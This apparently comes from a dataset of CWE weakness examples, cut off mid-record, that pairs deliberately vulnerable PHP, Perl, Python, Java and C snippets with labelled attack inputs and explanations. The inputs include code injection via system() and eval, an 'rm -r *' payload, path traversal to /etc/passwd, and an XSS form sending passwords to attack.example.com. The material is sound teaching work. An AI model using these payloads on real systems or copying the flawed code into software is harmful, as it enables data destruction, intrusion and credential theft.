  "explanation": "In the following Java example the method readFromFile uses a FileReader object to read the contents of a file. The FileReader object is created using the File object readFile, the readFile object is initialized using the setInputFile method. The setInputFile method should be called before calling the readFromFile method.However, the readFromFile method does not check to see if the readFile object is null, i.e. has not been initialized, before creating the FileReader object and reading from the input file. The readFromFile method should verify whether the readFile object is null and output an error message and raise an exception if the readFile object is null, as in the following code."
}
{
  "source": [
    "$MessageFile = \"messages.out\";if ($_GET[\"action\"] == \"NewMessage\") {$name = $_GET[\"name\"];$message = $_GET[\"message\"];$handle = fopen($MessageFile, \"a+\");fwrite($handle, \"<b>$name</b> says '$message'<hr>\\n\");fclose($handle);echo \"Message Saved!<p>\\n\";}else if ($_GET[\"action\"] == \"ViewMessages\") {include($MessageFile);}",
    "name=h4x0rmessage=%3C?php%20system(%22/bin/ls%20-l%22);?%3E",
    "<?php system(\"/bin/ls -l\");?>"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-94",
  "example_id": "1",
  "explanation": "This example attempts to write user messages to a message file and allow users to view them.While the programmer intends for the MessageFile to only include data, an attacker can provide a message such as:which will decode to the following:The programmer thought they were just including the contents of a regular data file, but PHP parsed it and executed the code. Now, this code is executed any time people view messages.Notice that XSS (CWE-79) is also possible in this situation."
}
{
  "source": [
    "use CGI qw(:standard);\nsub config_file_add_key {\nmy ($fname, $key, $arg) = @_;\n\n# code to add a field/key to a file goes here\n\n\n}\nsub config_file_set_key {\nmy ($fname, $key, $arg) = @_;\n\n# code to set key to a particular file goes here\n\n\n}\nsub config_file_delete_key {\nmy ($fname, $key, $arg) = @_;\n\n# code to delete key from a particular file goes here\n\n\n}\nsub handleConfigAction {\nmy ($fname, $action) = @_;my $key = param('key');my $val = param('val');\n\n# this is super-efficient code, especially if you have to invoke\n\n\n\n# any one of dozens of different functions!\n\nmy $code = \"config_file_$action_key(\\$fname, \\$key, \\$val);\";eval($code);\n}\n$configfile = \"/home/cwe/config.txt\";print header;if (defined(param('action'))) {handleConfigAction($configfile, param('action'));}else {print \"No action specified!\\n\";}",
    "add_key(\",\",\"); system(\"/bin/ls\");",
    "config_file_add_key(\",\",\"); system(\"/bin/ls\");"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    }
  ],
  "cwe_id": "CWE-94",
  "example_id": "2",
  "explanation": "edit-config.pl: This CGI script is used to modify settings in a configuration file.The script intends to take the 'action' parameter and invoke one of a variety of functions based on the value of that parameter - config_file_add_key(), config_file_set_key(), or config_file_delete_key(). It could set up a conditional to invoke each function separately, but eval() is a powerful way of doing the same thing in fewer lines of code, especially when a large number of functions or variables are involved. Unfortunately, in this case, the attacker can provide other values in the action parameter, such as:This would produce the following string in handleConfigAction():Any arbitrary Perl code could be added after the attacker has \"closed off\" the construction of the original function call, in order to prevent parsing errors from causing the malicious eval() to fail before the attacker's payload is activated. This particular manipulation would fail after the system() call, because the \"_key(\\$fname, \\$key, \\$val)\" portion of the string would cause an error, but this is irrelevant to the attack because the payload has already been activated."
}
{
  "source": [
    "def main():\n\n                    sum = 0\n                    numbers = eval(input(\"Enter a space-separated list of numbers: \"))\n                    for num in numbers:\n\n                      sum = sum + num\n\n                    print(f\"Sum of {numbers} = {sum}\")\n                  \n                  main()",
    "__import__('subprocess').getoutput('rm -r *')",
    "def main():\n\n                    sum = 0\n                    numbers = input(\"Enter a space-separated list of numbers: \").split(\" \")\n                    try:\n\n                      for num in numbers:\n\n                        sum = sum + int(num)\n\n                      print(f\"Sum of {numbers} = {sum}\")\n                    \n                    except ValueError:\n\n                      print(\"Error: invalid input\")\n\n\n                  main()"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Python"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "Python"
    }
  ],
  "cwe_id": "CWE-94",
  "example_id": "3",
  "explanation": "This simple script asks a user to supply a list of numbers as input and adds them together.The eval() function can take the user-supplied list and convert it into a Python list object, therefore allowing the programmer to use list comprehension methods to work with the data. However, if code is supplied to the eval() function, it will execute that code. For example, a malicious user could supply the following string:This would delete all the files in the current directory. For this reason, it is not recommended to use eval() with untrusted input.A way to accomplish this without the use of eval() is to apply an integer conversion on the input within a try/except block. If the user-supplied input is not numeric, this will raise a ValueError. By avoiding eval(), there is no opportunity for the input string to be executed as code.An alternative option is to use the ast.literal_eval() function from Python's ast module. This function considers only Python literals as valid data types and will not execute any code contained within the user input."
}
{
  "source": [
    "<% String email = request.getParameter(\"email\"); %>...Email Address: <%= email %>"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "JSP"
    }
  ],
  "cwe_id": "CWE-116",
  "example_id": "1",
  "explanation": "This code displays an email address that was submitted as part of a form.The value read from the form parameter is reflected back to the client browser without having been encoded prior to output, allowing various XSS attacks (CWE-79)."
}
{
  "source": [
    "$inputString = readLineFromFileHandle($serverFH);\n\n# generate an array of strings separated by the \"|\" character.\n@commands = split(/\\|/, $inputString);\nforeach $cmd (@commands) {\n\n# separate the operator from its arguments based on a single whitespace\n($operator, $args) = split(/ /, $cmd, 2);\n$args = UrlDecode($args);if ($operator eq \"BAN\") {ExecuteBan($args);}elsif ($operator eq \"SAY\") {ExecuteSay($args);}}",
    "$inputString = GetUntrustedArgument(\"command\");($cmd, $argstr) = split(/\\s+/, $inputString, 2);\n\n# removes extra whitespace and also changes CRLF's to spaces\n$argstr =~ s/\\s+/ /gs;\n$argstr = UrlEncode($argstr);if (($cmd eq \"BAN\") && (! IsAdministrator($username))) {die \"Error: you are not the admin.\\n\";}\n\n# communicate with file server using a file handle\n$fh = GetServerFileHandle(\"myserver\");\nprint $fh \"$cmd $argstr\\n\";",
    "SAY hello world|BAN user12",
    "SAY hello%20world|BAN%20user12",
    "SAY hello worldBAN user12"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    }
  ],
  "cwe_id": "CWE-116",
  "example_id": "2",
  "explanation": "Consider a chat application in which a front-end web application communicates with a back-end server. The back-end is legacy code that does not perform authentication or authorization, so the front-end must implement it. The chat protocol supports two commands, SAY and BAN, although only administrators can use the BAN command. Each argument must be separated by a single space. The raw inputs are URL-encoded. The messaging protocol allows multiple commands to be specified on the same line if they are separated by a \"|\" character.First let's look at the back end command processor codeThe front end web application receives a command, encodes it for sending to the server, performs the authorization check, and sends the command to the server.It is clear that, while the protocol and back-end allow multiple commands to be sent in a single request, the front end only intends to send a single command. However, the UrlEncode function could leave the \"|\" character intact. If an attacker provides:then the front end will see this is a \"SAY\" command, and the $argstr will look like \"hello world | BAN user12\". Since the command is \"SAY\", the check for the \"BAN\" command will fail, and the front end will send the URL-encoded command to the back end:The back end, however, will treat these as two separate commands:Notice, however, that if the front end properly encodes the \"|\" with \"%7C\", then the back end will only process a single command."
}
{
  "source": [
    "sub GetUntrustedInput {return($ARGV[0]);}\nsub encode {my($str) = @_;$str =~ s/\\&/\\&amp;/gs;$str =~ s/\\\"/\\&quot;/gs;$str =~ s/\\'/\\&apos;/gs;$str =~ s/\\</\\&lt;/gs;$str =~ s/\\>/\\&gt;/gs;return($str);}\nsub doit {my $uname = encode(GetUntrustedInput(\"username\"));print \"<b>Welcome, $uname!</b><p>\\n\";system(\"cd /home/$uname; /bin/ls -l\");\n}",
    "' pwd"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-116",
  "example_id": "3",
  "explanation": "This example takes user input, passes it through an encoding scheme and then creates a directory specified by the user.The programmer attempts to encode dangerous characters, however the denylist for encoding is incomplete (CWE-184) and an attacker can still pass a semicolon, resulting in a chain with command injection (CWE-77). Additionally, the encoding routine is used inappropriately with command execution. An attacker doesn't even need to insert their own semicolon. The attacker can instead leverage the encoding routine to provide the semicolon to separate the commands. If an attacker supplies a string of the form:then the program will encode the apostrophe and insert the semicolon, which functions as a command separator when passed to the system function. This allows the attacker to complete the command injection."
}
{
  "source": [
    "public String preventXSS(String input, String mask) {return input.replaceAll(\"script\", mask);}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-178",
  "example_id": "1",
  "explanation": "In the following example, an XSS neutralization method intends to replace script tags in user-supplied input with a safe equivalent:The code only works when the \"script\" tag is in all lower-case, forming an incomplete denylist (CWE-184). Equivalent tags such as \"SCRIPT\" or \"ScRiPt\" will not be neutralized by this method, allowing an XSS attack."
}
{
  "source": [
    "private boolean initialized = true;public void someMethod() {\nif (!initialized) {\n\n\n// perform initialization tasks\n...\ninitialized = true;\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-665",
  "example_id": "1",
  "explanation": "Here, a boolean initiailized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached."
}
{
  "source": [
    "$username = GetCurrentUser();$state = GetStateData($username);if (defined($state)) {$uid = ExtractUserID($state);}\n\n# do stuff\nif ($uid == 0) {DoAdminThings();}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    }
  ],
  "cwe_id": "CWE-665",
  "example_id": "2",
  "explanation": "The following code intends to limit certain operations to the administrator only.If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to \"0\" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident."
}
{
  "source": [
    "char str[20];strcat(str, \"hello world\");printf(\"%s\", str);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-665",
  "example_id": "3",
  "explanation": "The following code intends to concatenate a string to a variable and print the string.This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.If a null terminator is found before str[8], then some bytes of random garbage will be printed before the \"hello world\" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found. If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash."
}
{
  "source": [
    "...public static final double price = 20.00;int quantity = currentUser.getAttribute(\"quantity\");double total = price * quantity;chargeUser(total);..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-20",
  "example_id": "1",
  "explanation": "This example demonstrates a shopping interaction in which the user is free to specify the quantity of items to be purchased and a total is calculated.The user has no control over the price variable, however the code does not prevent a negative value from being specified for quantity. If an attacker were to provide a negative value, then the user would have their account credited instead of debited."
}
{
  "source": [
    "...#define MAX_DIM 100...\n/* board dimensions */\n\nint m,n, error;board_square_t *board;printf(\"Please specify the board height: \\n\");error = scanf(\"%d\", &m);if ( EOF == error ){die(\"No integer passed: Die evil hacker!\\n\");}printf(\"Please specify the board width: \\n\");error = scanf(\"%d\", &n);if ( EOF == error ){die(\"No integer passed: Die evil hacker!\\n\");}if ( m > MAX_DIM || n > MAX_DIM ) {die(\"Value too large: Die evil hacker!\\n\");}board = (board_square_t*) malloc( m * n * sizeof(board_square_t));..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-20",
  "example_id": "2",
  "explanation": "This example asks the user for a height and width of an m X n game board with a maximum dimension of 100 squares.While this code checks to make sure the user cannot specify large, positive integers and consume too much memory, it does not check for negative values supplied by the user. As a result, an attacker can perform a resource consumption (CWE-400) attack against this program by specifying two, large negative values that will not overflow, resulting in a very large memory allocation (CWE-789) and possibly a system crash. Alternatively, an attacker can provide very large negative values which will cause an integer overflow (CWE-190) and unexpected behavior will follow depending on how the values are treated in the remainder of the program."
}
{
  "source": [
    "$birthday = $_GET['birthday'];$homepage = $_GET['homepage'];echo \"Birthday: $birthday<br>Homepage: <a href=$homepage>click here</a>\"",
    "2009-01-09--"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-20",
  "example_id": "3",
  "explanation": "The following example shows a PHP application in which the programmer attempts to display a user's birthday and homepage.The programmer intended for $birthday to be in a date format and $homepage to be a valid URL. However, since the values are derived from an HTTP request, if an attacker can trick a victim into clicking a crafted URL with <script> tags providing the values for birthday and / or homepage, then the script will run on the client's browser when the web server echoes the content. Notice that even if the programmer were to defend the $birthday variable by restricting input to integers and dashes, it would still be possible for an attacker to provide a string of the form:If this data were used in a SQL statement, it would treat the remainder of the statement as a comment. The comment could disable other security-related logic in the statement. In this case, encoding combined with input validation would be a more useful protection mechanism.Furthermore, an XSS (CWE-79) attack or SQL injection (CWE-89) are just a few of the potential consequences when input validation is not used. Depending on the context of the code, CRLF Injection (CWE-93), Argument Injection (CWE-88), or Command Injection (CWE-77) may also be possible."
}
{
  "source": [
    "private void buildList ( int untrustedListSize ){if ( 0 > untrustedListSize ){die(\"Negative value supplied for list size, die evil hacker!\");}Widget[] list = new Widget [ untrustedListSize ];list[0] = new Widget();}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-20",
  "example_id": "4",
  "explanation": "The following example takes a user-supplied value to allocate an array of objects and then operates on the array.This example attempts to build a list from a user-specified value, and even checks to ensure a non-negative value is supplied. If, however, a 0 value is provided, the code will build an array of size 0 and then try to store a new Widget in the first location, causing an exception to be thrown."
}
{
  "source": [
    "...\nIntentFilter filter = new IntentFilter(\"com.example.URLHandler.openURL\");MyReceiver receiver = new MyReceiver();registerReceiver(receiver, filter);\n...\n\npublic class UrlHandlerReceiver extends BroadcastReceiver {\n@Overridepublic void onReceive(Context context, Intent intent) {\nif(\"com.example.URLHandler.openURL\".equals(intent.getAction())) {String URL = intent.getStringExtra(\"URLToOpen\");int length = URL.length();\n\n...\n}\n}\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-20",
  "example_id": "5",
  "explanation": "This Android application has registered to handle a URL when sent an intent:The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called."
}
{
  "source": [
    "my $dataPath = \"/users/cwe/profiles\";my $username = param(\"user\");my $profilePath = $dataPath . \"/\" . $username;\nopen(my $fh, \"<\", $profilePath) || ExitError(\"profile read error: $profilePath\");print \"<ul>\\n\";while (<$fh>) {print \"<li>$_</li>\\n\";}print \"</ul>\\n\";",
    "../../../etc/passwd",
    "/users/cwe/profiles/../../../etc/passwd",
    "/etc/passwd"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    }
  ],
  "cwe_id": "CWE-22",
  "example_id": "1",
  "explanation": "The following code could be for a social networking application in which each user's profile information is stored in a separate file. All files are stored in a single directory.While the programmer intends to access files such as \"/users/cwe/profiles/alice\" or \"/users/cwe/profiles/bob\", there is no verification of the incoming user parameter. An attacker could provide a string such as:The program would generate a profile pathname like this:When the file is opened, the operating system resolves the \"../\" during path canonicalization and actually accesses this file:As a result, the attacker could read the entire text of the password file.Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined."
}
{
  "source": [
    "String filename = System.getProperty(\"com.domain.application.dictionaryFile\");File dictionaryFile = new File(filename);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-22",
  "example_id": "2",
  "explanation": "In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory."
}
{
  "source": [
    "my $Username = GetUntrustedInput();$Username =~ s/\\.\\.\\///;my $filename = \"/home/user/\" . $Username;ReadAndSendFile($filename);",
    "../../../etc/passwd",
    "../../etc/passwd",
    "/home/user/../../etc/passwd"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    },
    {
      "vul_flag": 0,
      "language": "(result)"
    }
  ],
  "cwe_id": "CWE-22",
  "example_id": "3",
  "explanation": "The following code takes untrusted input and uses a regular expression to filter \"../\" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.Since the regular expression does not have the /g global match modifier, it only removes the first instance of \"../\" it comes across. So an input value such as:will have the first \"../\" stripped, resulting in:This value is then concatenated with the /home/user/ directory:which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23)."
}
{
  "source": [
    "String path = getInputPath();if (path.startsWith(\"/safe_dir/\")){File f = new File(path);f.delete()}",
    "/safe_dir/../important.dat"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 0,
      "language": "(attack code)"
    }
  ],
  "cwe_id": "CWE-22",
  "example_id": "4",
  "explanation": "The following code attempts to validate a given input path by checking it against an allowlist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string \"/safe_dir/\".An attacker could provide an input such as this:The software assumes that the path is valid because it starts with the \"/safe_path/\" sequence, but the \"../\" sequence will cause the program to delete the important.dat file in the parent directory"
}
{
  "source": [
    "<form action=\"FileUploadServlet\" method=\"post\" enctype=\"multipart/form-data\">\nChoose a file to upload:<input type=\"file\" name=\"filename\"/><br/><input type=\"submit\" name=\"submit\" value=\"Submit\"/>\n</form>",
    "public class FileUploadServlet extends HttpServlet {\n\n...\nprotected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\nresponse.setContentType(\"text/html\");PrintWriter out = response.getWriter();String contentType = request.getContentType();\n// the starting position of the boundary headerint ind = contentType.indexOf(\"boundary=\");String boundary = contentType.substring(ind+9);\nString pLine = new String();String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value\n// verify that content type is multipart form dataif (contentType != null && contentType.indexOf(\"multipart/form-data\") != -1) {\n\n// extract the filename from the Http headerBufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));...pLine = br.readLine();String filename = pLine.substring(pLine.lastIndexOf(\"\\\\\"), pLine.lastIndexOf(\"\\\"\"));...\n// output the file to the local upload directorytry {\nBufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));for (String line; (line=br.readLine())!=null; ) {if (line.indexOf(boundary) == -1) {bw.write(line);bw.newLine();bw.flush();}} //end of for loopbw.close();\n\n\n} catch (IOException ex) {...}// output successful upload response HTML page\n}// output unsuccessful upload response HTML pageelse{...}\n}...\n\n}"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "HTML"
    },
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-22",
  "example_id": "5",
  "explanation": "The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The action attribute of an HTML form is sending the upload file request to the Java servlet.When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.This code does not perform a check on the type of the file being uploaded (CWE-434). This could allow an attacker to upload any executable file or other file with malicious code. Additionally, the creation of the BufferedWriter object is subject to relative path traversal (CWE-23). Since the code does not check the filename that is provided in the header, an attacker can use \"../\" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash."
}
{
  "source": [
    "import os\n                  import sys\n                  def main():\n\n                     filename = sys.argv[1]\n                     path = os.path.join(os.getcwd(), filename)\n                     try:\n\n                        with open(path, 'r') as f:\n\n                           file_data = f.read()\n\n\n                     except FileNotFoundError as e:\n\n                        print(\"Error - file not found\")\n\n\n                  main()",
    "import os\n                     import sys\n                     def main():\n\n                        filename = sys.argv[1]\n                        path = os.path.normpath(f\"{os.getcwd()}{os.sep}{filename}\")\n                        try:\n\n                           with open(path, 'r') as f:\n\n                              file_data = f.read()\n\n\n                        except FileNotFoundError as e:\n\n                           print(\"Error - file not found\")\n\n\n                     main()"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Python"
    },
    {
      "vul_flag": 0,
      "language": "Python"
    }
  ],
  "cwe_id": "CWE-22",
  "example_id": "6",
  "explanation": "This script intends to read a user-supplied file from the current directory. The user inputs the relative path to the file and the script uses Python's os.path.join() function to combine the path to the current working directory with the provided path to the specified file. This results in an absolute path to the desired file. If the file does not exist when the script attempts to read it, an error is printed to the user.However, if the user supplies an absolute path, the os.path.join() function will discard the path to the current working directory and use only the absolute path provided. For example, if the current working directory is /home/user/documents, but the user inputs /etc/passwd, os.path.join() will use only /etc/passwd, as it is considered an absolute path. In the above scenario, this would cause the script to access and read the /etc/passwd file.The constructed path string uses os.sep to add the appropriate separation character for the given operating system (e.g. '\\' or '/') and the call to os.path.normpath() removes any additional slashes that may have been entered - this may occur particularly when using a Windows path. By putting the pieces of the path string together in this fashion, the script avoids a call to os.path.join() and any potential issues that might arise if an absolute path is entered. With this version of the script, if the current working directory is /home/user/documents, and the user inputs /etc/passwd, the resulting path will be /home/user/documents/etc/passwd. The user is therefore contained within the current working directory as intended."
}
{
  "source": [
    "private long someLongValue;public long getLongValue() {return someLongValue;}\npublic void setLongValue(long l) {someLongValue = l;}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    }
  ],
  "cwe_id": "CWE-667",
  "example_id": "1",
  "explanation": "In the following Java snippet, methods are defined to get and set a long field in an instance of a class that is shared across multiple threads. Because operations on double and long are nonatomic in Java, concurrent access may cause unexpected behavior. Thus, all operations on long and double fields should be synchronized."
}
{
  "source": [
    "function writeToLog($message){$logfile = fopen(\"logFile.log\", \"a\");\n//attempt to get logfile lock\nif (flock($logfile, LOCK_EX)) {fwrite($logfile,$message);\n// unlock logfile\nflock($logfile, LOCK_UN);}else {print \"Could not obtain lock on logFile.log, message not recorded\\n\";}}fclose($logFile);"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "PHP"
    }
  ],
  "cwe_id": "CWE-667",
  "example_id": "2",
  "explanation": "This code tries to obtain a lock for a file, then writes to it.PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock()."
}
{
  "source": [
    "void f(pthread_mutex_t *mutex) {\npthread_mutex_lock(mutex);\n\n/* access shared resource */\n\n\npthread_mutex_unlock(mutex);\n}",
    "int f(pthread_mutex_t *mutex) {\nint result;\nresult = pthread_mutex_lock(mutex);if (0 != result)return result;\n\n\n/* access shared resource */\n\n\nreturn pthread_mutex_unlock(mutex);\n}"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "C"
    },
    {
      "vul_flag": 0,
      "language": "C"
    }
  ],
  "cwe_id": "CWE-667",
  "example_id": "3",
  "explanation": "The following function attempts to acquire a lock in order to perform operations on a shared resource.However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels."
}
{
  "source": [
    "if (helper == null) {\nsynchronized (this) {if (helper == null) {helper = new Helper();}}\n}return helper;",
    "helper = new Helper();"
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Java"
    },
    {
      "vul_flag": 1,
      "language": ""
    }
  ],
  "cwe_id": "CWE-667",
  "example_id": "4",
  "explanation": "It may seem that the following bit of code achieves thread safety while avoiding unnecessary synchronization...The programmer wants to guarantee that only one Helper() object is ever allocated, but does not want to pay the cost of synchronization every time this code is called.Suppose that helper is not initialized. Then, thread A sees that helper==null and enters the synchronized block and begins to execute:If a second thread, thread B, takes over in the middle of this call and helper has not finished running the constructor, then thread B may make calls on helper while its fields hold incorrect values."
}
{
  "source": [
    "my $arg = GetArgument(\"filename\");\n\t\t    do_listing($arg);\n\n\t\t    \n\t\t    sub do_listing {\n\n\t\t      my($fname) = @_;\n\t\t      if (! validate_name($fname)) {\n\n\t\t\tprint \"Error: name is not well-formed!\\n\";\n\t\t\treturn;\n\n\t\t      }\n# build command\n\t\t      my $cmd = \"/bin/ls -l $fname\";\n\t\t      system($cmd);\n\n\t\t    }\n\t\t    \n\t\t    sub validate_name {\n\n\t\t      my($name) = @_;\n\t\t      if ($name =~ /^[\\w\\-]+$/) {\n\n\t\t\treturn(1);\n\n\t\t      }\n\t\t      else {\n\n\t\t\treturn(0);\n\n\t\t      }\n\n\t\t    }",
    "if ($name =~ /^\\w[\\w\\-]+$/) ..."
  ],
  "source_status": [
    {
      "vul_flag": 1,
      "language": "Perl"
    },
    {
      "vul_flag": 0,
      "language": "Perl"
    }
  ],
  "cwe_id": "CWE-88",
  "example_id": "1",
  "explanation": "Consider the following program. It intends to perform an \"ls -l\" on an input filename. The validate_name() subroutine performs validation on the input to make sure that only alphanumeric and \"-\" characters are allowed, which avoids path traversal (CWE-22) and OS command injection (CWE-78) weaknesses. Only filenames like \"abc\" or \"d-e-f\" are intended to be allowed. However, validate_name() allows filenames that begin with a \"-\". An adversary could supply a filename like \"-aR\", producing the \"ls -l -aR\" command (CWE-88), thereby getting a full recursive listing of the entire directory and all of its sub-directories. \nThere are a couple possible mitigations for this\n\t       weakness. One would be to refactor the code to avoid\n\t       using system() altogether, instead relying on internal\n\t       functions.\nAnother option could be to add a \"--\" argument\n\t       to the ls command, such as \"ls -l --\", so that any\n\t       remaining arguments are treated as filenames, causing\n\t       any leading \"-\" to be treated as part of a filename\n\t       instead of another option.\nAnother fix might be to change the regular expression used in validate_name to force the first character of the filename to be a letter or number, such as:"
}
{
  "source": [],
  "source_status": [],
  "cwe_id": "CWE-88",
  "example_id": "2",
  "explanation": "CVE-2016-10033 / [REF-1249] provides a useful real-world example of this weakness within PHPMailer. The program calls PHP's mail() function to compose and send mail. The fifth argument to mail() is a set of parameters. The program intends to provide a \"-fSENDER\" parameter, where SENDER is expected to be a well-formed email address. The program has already validated the e-mail address before invoking mail(), but there is a lot of flexibility in what constitutes a well-formed email address, including whitespace. With some additional allowed characters to perform some escaping, the adversary can specify an additional \"-o\" argument (listing an output file) and a \"-X\" argument (giving a program to execute). Additional details for this kind of exploit are in [REF-1250]."
}
{
  "source": [
    "=HYPERLINK(link_location, [friendly_name])",
    "HYPERLINK(link_location, [friendly_name])"
  ],
  "source_status": [
    {
      "vul_flag": 0,
      "language": "(attack code) Other"
    },
    {
      "vul_flag": 0,
      "language": ""
    }
  ],
  "cwe_id": "CWE-1236",
  "example_id": "1",
  "explanation": "Hyperlinks or other commands can be executed when a cell begins with the formula identifier, '='Stripping the leading equals sign, or simply not executing formulas from untrusted sources, impedes malicious activity."
}
{
  "source": [
    "$username = $_GET['username'];echo '<div class=\"header\"> Welcome, ' . $username . '</div>';",
    "http://trustedSite.example.com/welcome.php?username=<Script Language=\"Javascript\">alert(\"You've been attacked!\");</Script>",
    "http://trustedSite.example.com/welcome.php?username=<div id=\"stealPassword\">Please Login:<form name=\"input\" action=\"http://attack.example.com/stealPassword.php\" method=\"post\">Username: <input type=\"text\" name=\"username\" /><br/>Password: <input type=\"password\" name=\"password\" /><br/><input type=\"submit\" value=\"Login\" /></form></div>",
    "<div class=\"header\"> Welcome, <div id=\"stealPassword\"> Please Login:\n<form name=\"input\" action=\"attack.example.com/stealPassword.php\" method=\"post\">Username: <input type=\"text\" name=\"username\" /><br/>Password: <input type=\"password\" name=\"password\" /><br/><input type=\"submit\" value=\"Login\" /></form>\n</div></div>",
    "trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A+%3Cinput+type%3D%22password%22+name%3D%22password%22+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A",
